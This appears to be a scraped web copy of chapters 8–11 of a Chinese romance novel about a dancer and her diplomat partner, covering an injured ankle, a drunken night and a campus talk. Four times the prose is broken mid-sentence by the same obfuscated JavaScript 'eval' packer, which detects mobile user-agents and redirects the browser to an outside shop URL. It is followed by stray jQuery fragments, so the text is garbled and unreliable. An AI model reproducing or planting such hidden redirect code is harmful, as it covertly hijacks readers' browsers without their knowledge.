梧桐叶萧萧而下,在地上铺上一层淡淡的金色,晚风低低吹来,空气中满是桂子的甜香,将时间酿成一杯醇厚老酒,处处都带着韵味。 医馆坐落在莫愁湖畔的一座小院中,历史已逾百年。给她诊脉的大夫是个须发全白的老爷爷,笑起来很和蔼,定医嘱时却很严厉。 大夫道她体质瘦弱偏寒,又有些肝气郁滞,气血不足,往后千万不能吃冰。咖啡,绿茶更是碰都不要碰。 开方子,煎药,她皱着小脸苦哈哈地喝了整整一碗,又带着大包小包的药材跟着他回去。 自那之后,望公馆的咖啡豆一夜之间便不见了踪迹,茶罐里的茶,也全部换成了红茶。 就连经常往望公馆跑的谢书语,也被他严正警告,不能带她吃冰,不能喝咖啡,不能惹她生气…… 谢书语看她纠结,直接翻到菜单最后一页,“他们家有个招牌的五黑养生米浆,你喝这个,我大哥总没意见吧?” 孟汀眉眼弯了下,笑着点了点头。 工作人员很快上了餐,谢书语摇了摇杯中的冰块,平心静气地喝起咖啡来,闭口不提刚刚碰到的那位,两人有一搭没一搭地聊了一会,多是谢书语毕业后的规划。 孟汀的交际面比较窄,对就业的认识也仅限于自己本专业,指导一下贺佳沂还行,但对谢书语的帮助着实有限。 她听了一耳朵,下意识地询问:“这个事情,你有问过谢砚京吗?” “你说我大哥?”一提他,小姑娘几乎是下意识地皱眉,“还不是那几句老话,考公考编,安安稳稳过好人生。” 她冷哼一声,“别人倒是安稳了,可他呢?满世界地跑,每天过得又新鲜又刺激。十六岁去联合国,十八岁去中东,现在不过二十七岁,地图上有标识的国家,应该都跑遍了。” 孟汀静静地听着。 她知道谢书语是发泄情绪,所以那句“新鲜刺激也意味着危险”,并没有说出口。 “他的人生那么精彩,怎么到了我这里就什么行不通?好像我总是闭着眼睛走路似的,走到哪里都会碰壁。”谢书语撇了撇嘴,表示不满。 她又义愤填膺地吐槽了好一会儿谢砚京,末了,忽然想到什么,抬眼喊了声:“嫂子?” 孟汀估算着饮料的热量,茫然地抬了下眼:“嗯?” 谢书语似在犹豫,但最终开口:“你和我大哥……没什么事吧?” 孟汀眼睫轻颤:“能有什么事?” 谢书语又盯着她看了看,才道:“没事就好,我就是觉得他最近回国的次数频繁了些,待的时间也久,还挺奇怪的。” “不过这样也好,能陪着嫂子你的时间也多了。” 孟汀眉目微动了下,却没有回话。 两人在门口找了家轻食餐厅解决午饭,到了下午,谢书语叫了车回学校。 孟汀目送她离开。 中环大道上,车水马龙,川流不息。 孟汀握着手机犹豫了会,最终退出了原本打算拨给李叔的电话,在打车平台上输入学府苑。 上车之后,她戳开那个熟悉的头像,编辑消息:【我这周不过去了】 发出去之后,她想了想,又加了一条:【国内巡演开始了,要加练】 没一会,手机忽地一响。 她心中停顿一下,拿出来一看,发信人却是徐倩。 一个尖叫小猫的表情包,附赠一条视频。 点开一开,画面几乎是全损,饶是如此,她还是一眼便认出了画面中的那位。 夜色清冷,男人穿一身暗色西装,阔步走出宴会厅。身高挺拔,轮廓精致,就算是画面上的死亡角度,也抵不住那一身卓然气质。 而据他不到半米的后方,跟着一个穿着香槟色礼服裙的女人。两人一前一后出来,从某个角度看,两只手垂落的角度,像是刚刚牵过。 徐倩:【啊啊啊!!这人好像就是谢生的隐婚老婆!!】 孟汀垂了垂眼眸,打字:【怎么说?】 徐倩:【据圈内某位不知名字的大佬透露,今晚x国大使邀请了各国使馆负责人及夫人参加】 【大佬还透露,两人不仅是妻子,还是青梅竹马!】 孟汀又看了眼,这人的身形,和那日的俞静之有些像。 她想起她怀中抱着的谢砚京的西装外套,落在屏幕上的指尖略微停顿。 徐倩:【现在我们小圈几乎成两个极端了】 孟汀:【?】 徐倩:【一边是狠狠磕谢生和嫂子的,另一边则觉得天塌了】 孟汀不解:【为什么天塌了?】 徐倩:【从前谢生不把嫂子带出来,还能自欺欺人,掩耳盗铃,现在就完完全全是失恋的感觉】 孟汀:【……】 徐倩:【还有,据他这次参会好像还有一个重要原因】 孟汀:【什么?】 徐倩:【他们讨论的职场黑话我也记不住,大概意思类似于转岗前的社交吧,应该是从今往后基本不怎么出国,留任国内了】 孟汀默了一会,脑海里,是关于俞静之回国的那段话。 世上的巧合其实并没有那么多。 白皙指尖在屏幕停顿半晌,孟汀回复:【这样也好】 * 下车后,她先去了家门口的超市采购。 她一个人的生活很简单,加上最近要巡演,饮食要清淡,所以只买了一些番茄、土豆和青菜。 结完账,一路步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620689|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行回家,只是迈进家门那一刻,脚腕处忽然刺痛一下。 大概是因为在商场崴的那一下。 当时没觉得有什么,这会儿却忽然起了反应。 放下东西后,她先去冰箱里取了个冰袋冷敷,想着接下来的巡演,又点了个外用的消炎药。 秋日的夕阳金灿灿的,照得她有些头脑发昏。 就这样迷迷糊糊地等了一会后,手机终于响了,孟汀正准备接通,却忽然被挂断。 不少外卖员为了节省电话费,通常都是这样提醒,她也没多想,趿着拖鞋就等在了门口。 门铃响了下,孟汀将门推开一条缝。 门外的人却没像往常那样将东西递进来。 她有些奇怪,又将门开得大了些。 接着,一张熟悉的面容出现。 谢砚京穿黑色风衣,同色系的黑色西裤,黑色皮鞋,手上拎着的,是和那一身完全不搭的黄色纸袋。 孟汀:“……” 她怔了一瞬,心情复杂道:“你没看到消息?” 男人黑漆漆的眸光盯着她,顺手把门推得更大了些,侧身进来:“看到了。” “你不过去,我难道不能过来?” “……” 她无话辩驳,他则捏了捏手中的纸袋,盯着她,淡声道:“哪里不舒服?” 孟汀:“没有很严重,我自己——” 她话还没说完,就见他的目光已经落在她的脚踝处。 刚刚因为冰敷,她将裤腿往上挽了挽。 这点细节,自然躲不过他的眼睛。 只见他眸色一暗,出声道:“需不需要叫梁叙过来?” 孟汀忙道:“不用不用。” 她一点儿小伤,哪里用得上请他的私人医生。 谢砚京顿了一瞬,倒也没有勉强,将纸袋递给她,自顾自去脱外套。 孟汀则去房间内找棉球。 这种药味道有些大,她知道他对气味敏感,取了之后正准备带去阳台,没想到刚一走进客厅,却见他已将药品拆封。 不仅如此,白皙均匀的掌心顺时针转着,将药膏均匀地搓满掌心。 “过来坐下。”很平淡的语气,却带着不容置喙的意味。 孟汀浅浅呼出一口气,几乎是下意识地走了过去。 他则半蹲下来,温热的掌心覆上略显纤细的踝骨,一下又一下,将药品全部揉进去。 “怎么伤着的?”他问。 孟汀抿了下唇,眼神躲闪:“是我自己不小心,下台阶时……” 谢砚京没等她说完就打断:“是和谢书语一起出的门?” 孟汀:“……” 她不知道这语气里是不是带着责备,也没敢多回话。 擦完了药,他抽了张纸巾,将掌心擦拭干净,抬眼看了下墙上挂着的时钟。 孟汀也想起什么似的,问道:“你吃晚饭了吗?” “我有买面条和青菜,要不我——” 结果就是她刚准备起身,肩膀就被冷淡地扣住。 深邃而冷沉的目光,睨她一眼,冷声道:“你这一身药味,去厨房合适?” 9. 第 9 章 孟汀目送着他去厨房。 她常年控油控盐,对饮食的口味其实没有太大的要求。 谢砚京就更不用说了,因为工作原因,大部分时间吃的都是公务餐。 但是跟他的这几年,偶尔需要下厨,他都能将简单的食材做的很好。 这倒是让她有些诧异,明明是自小养尊处优的大少爷,就算当年在国外读书,也有跟着过去的阿姨,但他在生活自理能力上明显比她更胜一筹。 孟汀窝在沙发里歇了会,听到他从厨房出来,才慢慢走过去。 此时,脚踝处,已经明显好多了。 桌面上已经摆了两碗红澄澄的西红柿鸡蛋面。 西红柿炖的软烂,鸡蛋炒出焦花,上面撒一把青翠的小葱,色香味俱全,看上去颇具食欲。 孟汀在他对面坐下来,小口小口地吃面。 她吃饭的时候很安静,就连吃面条,也基本不发出声音。吃到一半时,她下意识地抬了下眸,却忽然瞥见他锁骨处的几道红痕。 白日里他穿规整的西装,自然看不出,而现在,衬衫最上方的几颗纽扣被随意扯开,松松垮垮间,便一览无余。 孟汀心不在焉地挑着面,那人也刚好有感般地抬眸,顺着她的目光看下去。 下一秒,那只骨节分明的手微微抬了下。 他将衣领往上扯了扯,却也不将纽扣系好,欲盖弥彰地意思简直不要太明显。 对上她微怔的视线,笑的有些散漫:“下次轻点。” 孟汀:“……” 耳尖在一瞬间变得滚烫,没出息的心跳加快。她不想和他讨论这个,拿起勺子舀汤,等到酸涩的味道在口腔中蔓延开来,又全部散尽。 “今天逛了哪里?”谢砚京却再次开了口。 他很少和她一起吃饭,所以餐桌是她在宜家买的最小号,此刻坐在这儿,因为身量高,腿又长,紧实的肌肉包裹在西装裤中,显得有些无处安放。 孟汀还在喝汤,垂着眸,淡声回道:“中环。” 谢砚京:“陪谢书语试衣服?” 孟汀:“嗯。” 谢砚京:“你呢?” “你怎么不试?” 孟汀差点被这声反问呛住,好脾气地解释:“我平日里要穿练功服,演出要出演出服,没有必要买那么多衣服。” 谢砚京淡淡看她一眼,才道:“遇到喜欢的,想买就买。” 孟汀把最后一点汤喝尽。 其实这样的话,他说过不止一次。 不知道从什么时候开始,他每个月都会往她账户里打上一笔钱,她从没仔细看过,还是有次接到了防诈骗电话,才登上银行账号看了眼。 那时候,余额显示就已经足足七位数。 可她要用钱的地方真的不多。 谢砚京有自己常用的高奢品牌,每一季都会定时送到望公馆,单单是那些,就足够让她应付生活中各种大一点的场合。 孟汀含糊地哼了声。 很简单的一餐,吃完后,天色已暗。 夜色将灯火揉碎,散落在城市的每一个角落。 直到放下筷子,她才犹豫着开口:“那你今晚……” “我今日只是路过。” “哦。” “谢砚京。”孟汀忽然喊他的名字。 听到名字的男人,轻轻抬了下眼,深邃的目光带着几分直白和意沉,勾了下唇,轻声应了句:“嗯。” 孟汀抿了下唇:“如果你忙的话,不必花时间陪我……” 一时间的沉默。 静到孟汀以为对方都要生气的程度。 下一秒,男人却姿态随意地往后靠了下,漆黑地眼眸微微眯成一条缝,笑的有些凉薄:“孟汀,有些事情,你不必想太多。” * 车子驶回望公馆时,已将近夜里十点。 秋风萧瑟,墙角桂花黄灿灿的,粒粒花蕊藏在绿油油的椭圆叶下,弥散着独属于这个季节的清冷幽甜。 他像往常一样,整理好手边的文件,准备进门。 刚刚在整理后备箱的助理忽然上前一步,手上多了个明黄色礼盒。 谢砚京疑惑地看他一眼。 助理解释:“这是一小时前俞小姐送来的,说是那天在酒宴上捡到了您的西装外套,她已经帮您送去专柜清洗过了。” 谢砚京轻皱下眉。 那日晚宴,他去凉亭上吹风,随手将外套搭在了椅背上,后来接到个紧接电话,同助理处理了几个问题,回来后衣服就不见了。 他以为是有人拿错,没想到却是她。 目光淡漠地盒子上一扫而过,他想到什么,忽然问:“哪里有这个品牌的专柜?” “M牌在国内的专柜不多,”助理想了想,说,“市里一共两家,一家在中环,一家在郊区的万城。” 听到“中环”两个字,男人的眉头拧地更深了些。 “知道了。” 助理:“您看这件衣服是……” 男人高挺的眉骨里,骤然压了几分黯淡和冷戾,“不必拿回去了。” “直接丢掉吧。” “……好的。” * 城市巡演的时间和地点很快排了出来。 三个多月的时间,从北到南,一共要跑六个城市,每个城市的演出强度还不低。 孟汀除了准备巡演,每天还多了个任务。 恰逢京市博物馆的百年院庆,和剧院做了个舞剧×文物的联名活动,想通过一系列文物实景的小短片,让观众能更加生动地领略文物的魅力。 孟汀作为首席,被选做了文物的推介官,协助博物馆完成拍摄任务。 今日拍的是一件出土于战国时期的青铜器。椭圆形的铜壶上面立着一只展翅欲飞的玄鸟,兽面双耳,壶身上交错镶嵌着银丝和绿松石,大气、壮观又漂亮。 学者将其定性为某位王公贵女出嫁时的陪嫁礼器。 取景器中,孟汀一身大气明朗的战国袍,乌发雪肤,身姿窈窕,葱白如柔夷的指尖轻轻抬起,配合着铮然的古乐曲,演绎了这位女子的一生。 从年幼无知的总角之年,再到知情晓意的豆蔻年华,她时而在渭水边徜徉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620690|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,时而在长街上漫步。出生,成长,出嫁,为人妇,为人母,她期待,盼望,珍惜,怀念,却也无可奈何的走向人生的终点,最终化成历史的一粒尘埃。 画面的最后,她在想象中化成一只飞鸟,于天空之上,肆意翱翔,最终立于铜炉之上,轻轻地闭上了眼。她和文物的虚影重合,也是穿越古今的某种会合,历史的浪漫,在这一刻达到了顶峰。 那边的短片导演已经喊了cut,孟汀却还沉浸在刚刚的故事中没有走出来。 一旁的周严刚好抓住机会,又连着给她拍了一段。 他负责给剧院拍宣传素材,所以两人又成了临时的搭档,看到周严在拍,孟汀便没那么轻易就抽离情绪,直到他放下设备,才重回现实。 下场后,周严立刻给她竖了个大拇指:“今天的镜头真的绝美,我晚上把素材发给你看看。” 一旁负责给周严打下手的实习生小付也道:“师姐你放心,包好看的,每一帧都是能发朋友圈的程度。” 孟汀不好意思地笑笑:“辛苦你们了。” 博物馆有职工食堂,这几天收工后,他们三个基本都是一起拼桌。 周严很细心,每次孟汀打完饭过来,他不仅把每个人的餐具配好,还给每人都打了汤。 小付比他两都小一岁,性格活跃,很喜欢开玩笑,从周严手上接过餐具,笑嘻嘻道:“还是周哥最得朕心。” 都是二十多岁的年轻人,专业又相近,又都是剧团的同事,聊起天来没什么障碍。 可是孟汀只记得前一秒还在聊拍摄需要改进的一些细节,不知怎的,竟然落脚在了感情生活上。 小付上个月刚刚结束了一段关系,缓了好些天后,已经差不多走出来,此刻没什么顾忌地聊起自己那段经历。 其实也就是大学同学因为毕业分手的那点事。 他和女生都是第一次恋爱,所以彼此对待这段感情都非常上心,两人在一起走过三年时间,一起上课,一起学习,一起认真地规划未来。 可最终,抵不住现实的阻力。 一段恋爱刚开始时,所有人都会觉得他们两人是独特的,但到了最后,往往都不能免俗。 他说完后,喝了口果汁,长叹一口气,“再怎么说,也是我的初恋啊。” 说罢,又拍了拍周严的后背,感慨道:“师兄,师弟我的前车之鉴,你一定要注意啊,千万不要重蹈覆辙。” 周严其实对这事也没经验,顿了顿,回拍了下他的肩,“我尽量。” 而此时,正在默默吃虾的孟汀,冷不丁地被点名。 “师姐你呢?” 孟汀怔了下,缓缓抬头。 小付目光真诚:“您这么优秀,肯定被人追求过吧?能不能给我点建议啊。” 猛然被这么一问,她心中莫名有些打鼓,而且她能从余光中感受到,周严似乎也在等待着她的回答。 座位旁断断续续走过不少用晚餐的工作人员,略显嘈杂的环境中,孟汀缓慢地放下筷子,面不改色道:“抱歉啊,我没谈过恋爱,也没有对象,所以提不了什么意见。” 10. 第 10 章 小付没想到孟汀会这样回。 这着实有些出乎他的意料。 毕竟他身边的漂亮女生,很少有单着的,就算没有这种想法,但是架不住男生主动,有的脸皮厚一些,还会死缠烂打,一来二去,不谈都不行了。 小付显得有些尴尬,但是看孟汀神情,好像没有恼怒。 完完全全是平静的叙述。 他多少有些如释重负:“这样啊……” “是我冒犯了,我还以为您是有的,果然是我眼睛有问题。” 说完,又做了个虚假的挖眼睛动作。 孟汀笑了笑,并无责备意味地道:“没事的。” 听到这,小付又没心没肺地来了句:“那我也就不着急了,恋爱只会阻挡我拔刀的速度,先把自己的事业搞好再说。” 孟汀点点头表示赞同,周严一直在旁边沉默地听着,此刻也准备开口说点什么,孟汀的手机却不适时地响了。 只见她低头看了眼屏幕,原本放松的神色添了一分刚刚没有的紧张,站起来朝两人道:“抱歉,我去接个电话。” 小付热情地挥挥手:“去接吧,餐盘我们帮你收。” 她很快拿着包走远了。 剩下的两人也起身,开始收拾餐具,只是往回收处走的时候,周严下意识地往孟汀出去的方向看了眼,忍不住道,“你说……她真的没有对象吗?” “我也纳闷,”小付挠了挠头,“不过既然学姐那样说了,可能真的没有吧。” * 孟汀没想到,电话的那边,会是梁叙。 他说谢砚京在酒会上喝多了,症状比平日里严重些,询问她家中有哪些解酒的药材。 “药材吗?”孟汀听得有些茫然,“我不太清楚,我这几天没在望公馆,所以……” 那边先是顿了顿,接着道:“抱歉,我以为您在的。” 孟汀想了下。 她知道梁叙性格向来沉稳,不会问这样没把握的话,于是问:“他让你打的吗?” 梁叙默了下,只是回:“他确实喝多了。” 孟汀捏着手机的指尖紧了紧,然后道:“我知道了。” “我现在过去。” 到望公馆的时候,谢砚京还没回来,云姨这个点已经下班,她便去厨房,将自己在路上买好的解酒汤给煮开。 煮到一半时,门打开了。 她以为梁叙将他送来,所以跑过去接应,没想到进门的只有谢砚京一人。 正如梁叙所说,他喝很多。只是他这个人酒品好,所以就算是醉的深,也不吵不闹,就连步伐,都要比普通人还要沉稳。 表面上看不出任何区别,一如既往的淡漠和疏离。 但看不出来的地方,就不一样了。 孟汀返回厨房端醒酒汤,刚关了火,腰上忽然被一个力量环住。 孟汀心里一紧,很知道他想做什么,但还是奋力转身,先把煮好的醒酒汤端到他面前,“先把这个喝了。” 他倒是真的接了。 只是一口也未尝,就随手放在身旁的橱案上,“先去洗澡。” 孟汀:“喝完再洗,醉酒洗澡,很危险。” 对方却油盐不进:“一起洗,有什么危险?” 孟汀:“……” 平时在争论这个事情时,她就不是他的对手,喝完酒之后,她就更招架不住。 也不知道怎么就到了浴室。 关上门的瞬间,“咔”的一声,落了锁。 水流兜头而下,热气瞬间蒸腾起来,氤氲出一层薄薄的雾,将两个身影笼罩在一起。 缭绕间,对上男人那双漆黑的眼。 他赤.裸着上半身,隔着水雾,都能看到清晰的线条,肩膀宽阔,腰细精细,流畅而有型,水珠顺着那层薄薄的腹肌往下滑落,透着一股蓬勃的生命感。 明明醉酒的是他,可现在享受服务的,却像是孟汀。 她几乎是毫无反抗地就被抱进了浴缸当中,他则半跪在浴缸外,缓缓往她身上掬水。 她坐的有些不稳,怕自己滑落,白皙小臂像是柔软的菟丝花,一下子勾缠在他的脖颈之间。 下一秒,仿佛是应和她,一个吻猝不及防地落下来。 勾着脖颈的力量因为这个吻下意识地收紧,差点勒出一道红印,可那人却像是毫无知觉似的,吻的更深更沉了些。 柔软的力度又勾又舔,是完全是不同于那双沉敛双眸的下流。 孟汀被这股力道吻的头脑发空,单薄的身子微微颤抖,她感受着浴缸里的水越来越多,再缓慢的溢出。 她感受着自己的心跳,慌乱之中,低沉喑哑的声音响起,像是被这雾气浸染,明明是深沉,却透着几分狎昵,“需要什么醒酒汤。” 言外之意无非是,她就是他的醒酒汤。 …… 浴缸里的水不知道换了多少次,等待她从里面起身时,漫出去的水几乎排的差不多了。 谢砚京给自己换了身睡衣,却只给她裹了条浴巾。 她哒哒哒地跑出去,想找件衣服,却发现衣柜竟然和上次一样,还是只挂着他的衣服。 这人是不是有病?! 孟汀简直要气死,早在心里把他骂了一百遍,回过头,却见他此刻就站在门口。 他闲闲地倚在门框上,好整以暇地看着他的狼狈,昏暗灯火落在他冷白的面容上,深眸的眼眸像是一汪深潭,对视之间,完全是对她上次拒绝穿他衣服的某种惩戒。 最后的结局就是,那一百句骂人的话一句也没能说出口,距离睡觉还有些时间,她不能一直裹着浴巾行动,只好随便从里面扯了件他的T恤,套在了身上。 对于她这样气冲冲的模样,谢砚京却笑的轻佻,“宝宝,你忘了,一开始,是你主动穿我衣服的啊。” “……” * 昨晚闹到那么晚,他第二天依然没有睡懒觉。 身侧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620691|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被褥已经没了温度,想必他又按照往日的作息,五点起床运动或工作。 孟汀是在第二天出门时碰到的梁叙。 她睁眼时已经六点半,因为要赶着去剧院上班,甚至没有吃云姨准备的早餐,只拿了两片面包就应付了事。 直到看到迎面而来的梁叙,才停住了脚步,喊人:“梁大夫。” 两人因着谢砚京有些交集,所以算的上熟悉。 见到孟汀,梁叙又为昨天的事情道了个歉:“昨天麻烦您赶过来了。” 孟汀摇摇头:“不关你的事。” “更何况,那会我也已经下班,过来照顾他,责无旁贷。” 梁叙弯了下唇,但孟汀知道,这笑中包含着太多意味。 梁叙又道:“他平日里也不喝这么多,只不过,昨日有老师过来,他们师生多年不见,所以酒喝多了点。” 梁叙不仅是谢家的私人医生,也是他的同学,那位老师孟汀也有所耳闻过,是一位德高望重的王姓教授,他为人正直,不图回报,谢砚京初入外事部时,给了他很大的支持和帮助。 昨日谢砚京怕也是真的高兴。 孟汀淡淡嗯了声,“梁医生今天过来,有什么事吗?” “他现在并不在望公馆,要是找他的话,估计还要联系——” “没什么大事,”梁叙立刻道,“昨天阿砚把手表落在了我车上,我顺路给送过来。” 说着,将手上的一个小盒子递给孟汀。 孟汀接过来一看,确实是他经常戴的那一块。 “麻烦梁医生了,我会交给他。”孟汀颔首道谢,再无话了。 梁叙也准备转身离开。 可是就是那一瞬,他感受到了孟汀目光中的延迟。 他稍作停顿,回头间,只见孟汀磨磨蹭蹭站在原地,似在犹豫。 他问:“太太还有别的话吗?” 原本还在愣神的孟汀,看到转身过来的梁叙,眸光微动了下,终是忍不住道:“穆教授那边,还是没有消息吗?” 尽管早已料到她会提及此事,梁叙心中仍不禁一动,随后,轻轻摇了摇头。 孟汀的目光很明显的黯淡了下。 但幸好情绪没有太大波动,梁叙见状,又开口道:“这种事情不能着急,现在临床手术第三期已经在进行了,只要立法通过,就快了。” 孟汀点了下头。 梁叙又问:“小云那孩子,最近……还好吧?” 孟汀:“挺好的,我上个月才去看过,状态还算好。” 拜托梁叙一直关注着这个事情,她已经很不好意思了,上一次问他也不过三个月前,再耽误对方时间,反而不妥,孟汀不敢多留,同他道别后匆匆离开了。 秋日寂寥,望着逐渐走远的那个单薄身影,梁叙心中突然有几分萧索。 这个孩子来的不是时候。 谢砚京还好说,但着实让孟汀吃了不少本不属于她这个年龄的苦。 11. 第 11 章 学正楼,三楼。 隔着小小的一方窗户,可以看到外面被秋日上了色的金黄一片。 秋风一吹,落叶簌簌而下,颇有一种寂寥的美感。 九月底十月初,大四的同学彻底忙碌起来,考研的,出国的,找工作的,个个分身乏术。为了缓解大家的焦虑,舞院邀请了不少刚毕业的师兄师姐回来分享经验。 孟汀便是其中一员。 邱老师给孟汀递了杯水。 两人刚刚已经就讲座的事情谈了快一个小时,均是口干舌燥。一年前摔伤膝盖后不能跳舞,她便从教学岗转到了行政岗,负责学生工作。 端起手中的保温杯抿了口后,她感慨道:“现在的孩子压力大,不必我们从前,刚一出校门就有那么多机会等着,无论是继续深造,还是进剧团,进电视台,到哪里尚且有口饭吃,现在找不到工作就是找不到,没有任何办法。” 孟汀点了下头,“这两年的情况确实艰难一些,我也怕我分享的那些经验,大家会觉得假大空。” 邱桐看着小姑娘紧绷的神情,忍不住笑:“你还紧张上了?就算是今年这样的环境,也不会少了你的offer。” “这不是怕没有代表性吗?” 来之前孟汀就有些惶恐,当年她找工作还算顺利,一个月的时间,拿了将近十个offer。她总觉得将这些经历放在台面上来讲,有些炫耀的意思。 邱桐知道她担心的是什么,宽慰道:“越长大,其实越知道,一个人的成功往往是不可复制的,所以你的压力不用太大,就当做学长学姐嘱托学弟学妹就可以。” 孟汀默默点头。 这话她总觉得耳熟。 知道走出办公室往礼堂走时,才依稀想起第一次听到这话时的场景。 那是高三的一个午后。 当时她以第一名的成绩通过舞院的校考,文化课成绩只要达本科线,就能顺利拿到通知书。高三的几场模拟考试,她不仅能达线,有时还能超出个三五十分,考上附中几乎有百分之九十九的可能。 可那段时间也不知道怎么了,她就是因为那百分之一的不可能而紧张起来。 她向来不是个过分表露情绪的人,有什么事情都会自我消化,因此那一段时间,她用了很大一部分时间沉浸在那些成功实例上,好像这样,自己也能轻易就度过这场难关似的。 最终将她从这份虚假的快乐中拉出来的,还是谢砚京。 四月份,杨絮穿梭在阳光间隙,恣意飞舞,孟汀又因为焦虑虚度了一个午后。 恍然抬头间,却见谢砚京倚在门框上,环胸抱臂,语气凉凉道:“还在浪费时间看那些东西?” 阳光薄脆透明,镌刻地他的五官,更加硬朗。 她抿了抿唇,一时语塞。 他又道:“这个世界上,如果成功可以复制,怎么还会有那么多失意落魄之人?” 孟汀怔然,一瞬间,耳热心跳。心事猝然被道破,难免尴尬,她躲避着他的视线,小声道:“我只是想给自己一个安慰而已……” “别人给不了你安慰。” 孟汀顿了顿。 “只有你自己能给自己。” 孟汀抬头看他。 那双意沉而深邃的黑眸,定定地落在她身上,沉稳道:“你现在能做的,是毫无保留地相信自己。” 明明是从小听到大的鸡汤,但是从他口中说出,却带着一种沉着的力量。 后来她想,打动她的,或许不是因为这句空洞的话,而是因为他一直践行着这句话背后所蕴藏的道理。 …… 晚上六点钟,同学们陆陆续续进了阶梯教室。孟汀坐在第一排的位置,手心捏了浅浅一把汗。 身旁的两位学长,一位是几年前考上传媒学院研究生并顺利留校的江铭,另一个则是在影视圈内发展的非常好的导演沈潭山。 距离开场还有半个多小时,三人坐在前排,聊起自己工作的领域。 江铭因为带学生,和沈潭山聊了不少实习的事情,话题落在未来发展方向,免不了也谈了谈自己曾经走过的路。 江铭的经历还好说,高校岗位一路走的很顺,沈潭山就不一样了,孟汀本以为他也是一路开挂走向成功,没想到背后也有不少心酸往事。 最后话题落在孟汀这里。 沈潭山虽然已小有成就,但是为人谦虚,没有一点架子,端起桌子前的水壶,先给孟汀倒了杯,忍不住问:“小孟你呢?照我看,你自身条件非常好,有没有考虑过尝试一些新赛道?” 去年就有舞蹈演员被知名编剧看上,进入娱乐圈并一路走上顶流的实例。孟汀要颜值有颜值,要实力有实力,只要碰上一个适合的剧本,前途不可限量。 孟汀捏了捏手中的纸杯,轻声道:“暂时还没有这种想法。” 其实她还在读大学时就有圈内很火的传媒公司给她抛过橄榄枝,但无一例外,都被她拒绝了。 沈潭山目光一顿,又道:“这样的事情确实要深思熟虑,虽然同是一个专业领域,但是不同的圈子,工作氛围很不同。” 孟汀点了点头。 沈潭山似乎还有话要说,这时,旁边来了位工作人员,通知大家轮流去上面试麦,话题也只得中止。 分享会很快开始。 孟汀被排在了第一位。 开始前她也紧张,但是多年的舞台经验让她足够将节奏把握在合适的范围内。 随着分享的进行,紧张缓解,逐渐进入佳境,一场分享下来,反响竟然还不错。 下一个登场的是江铭,孟汀下台后没有立刻回去,而是从后门去场外透了会儿气。 校园的夜晚,安静,朗清。夜风拂过草叶,发出沙沙的声响,不远处那株年逾百岁的老槐树,在风中轻轻摇晃,月色温柔的像是能将整个校园包裹。 不远处传来短暂的喧闹声,孟汀下意识地看过去,只见一群身着正装的公务人员,正从行政大楼门前匆匆走过。 虽然都是清一色的西装,但是被围着正中间的那位,格外吸睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620692|187866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 身姿挺括,姿态清落,清隽又矜贵。 孟汀眸光微动,身旁两个背着书包的同学闲聊。 “大晚上的,领导们还不下班吗?” “应该是为了下周的中俄文艺周吧,听说有不少外事处的工作人员过来指导工作。” “我靠,难怪那些人气质都这么好,我们小破舞也是好起来了!” 凉风习习,吹得孟汀的脖颈有些发凉,她下意识地收拢了下衣服,目光已然追随着那群人到了大门口。 两辆商务车从不远处驶来。 首先上车的,便是方才走在正中间的那位。 接着,一个同样穿着正装的女生紧随其后,外形有些眼熟,也跟着上了同一辆车。 孟汀想起谢书语说过,俞静之在国外学的便是俄语。 她收了收目光,再次回到阶梯教室。 江铭的分享已经过了,现在站在台上的是沈潭山。 他比孟汀大四岁,站在讲台上,却足够成熟,再加上性格风趣,金句频出,甚至毫无包袱地将自己拍摄的,堪称黑历史的第一部片子给拷了下来,逐帧分析。 观众席下很快笑作一片,孟汀也忍俊不禁。 很少有人能这样坦然面对自己的过去,他不成功谁成功。 讲座在一片热烈的氛围中圆满拉下帷幕。 因为时间太晚,邱老师也只能取消聚会,大家合影留念之后,便各自离开了。 